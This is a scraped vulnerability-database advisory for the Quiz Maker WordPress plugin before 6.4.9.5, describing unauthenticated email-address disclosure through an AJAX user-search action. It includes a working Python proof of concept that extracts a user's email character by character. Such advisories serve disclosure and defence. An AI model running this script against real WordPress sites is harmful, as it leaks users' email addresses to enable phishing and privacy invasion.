Lucene search

K
wpvulndbKrzysztof Zając (CERT PL)WPVDB-ID:C62BE802-E91A-4BCF-990D-8FD8EF7C9A28
HistoryNov 30, 2023 - 12:00 a.m.

Quiz Maker < 6.4.9.5 - Unauthenticated Email Address Disclosure

2023-11-3000:00:00
Krzysztof Zając (CERT PL)
wpscan.com
3
plugin
unauthenticated
ajax
security
vulnerability
attack
email
disclosure
system
exploit
search

6.5 Medium

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

31.1%

Description The plugin does not adequately authorize the ays_quiz_author_user_search AJAX action, allowing an unauthenticated attacker to perform a search for users of the system, ultimately leaking user email addresses.

PoC

import string import requests base_url = ‘http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=ays_quiz_author_user_search&amp;search;=’ id_to_find = 1 letter_candidates = string.ascii_lowercase + string.digits + ‘-_.’ email = ‘@’ # Find letters after @ while True: print(“current email”, email) for letter in letter_candidates: query = email + letter data = requests.get(base_url + query).json() if id_to_find in [item[‘id’] for item in data[‘results’]]: email = query break else: break # Find letters before @ while True: print(“current email”, email) for letter in letter_candidates: query = letter + email data = requests.get(base_url + query).json() if id_to_find in [item[‘id’] for item in data[‘results’]]: email = query break else: break

CPENameOperatorVersion
eq6.4.9.5

6.5 Medium

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

31.1%

Related for WPVDB-ID:C62BE802-E91A-4BCF-990D-8FD8EF7C9A28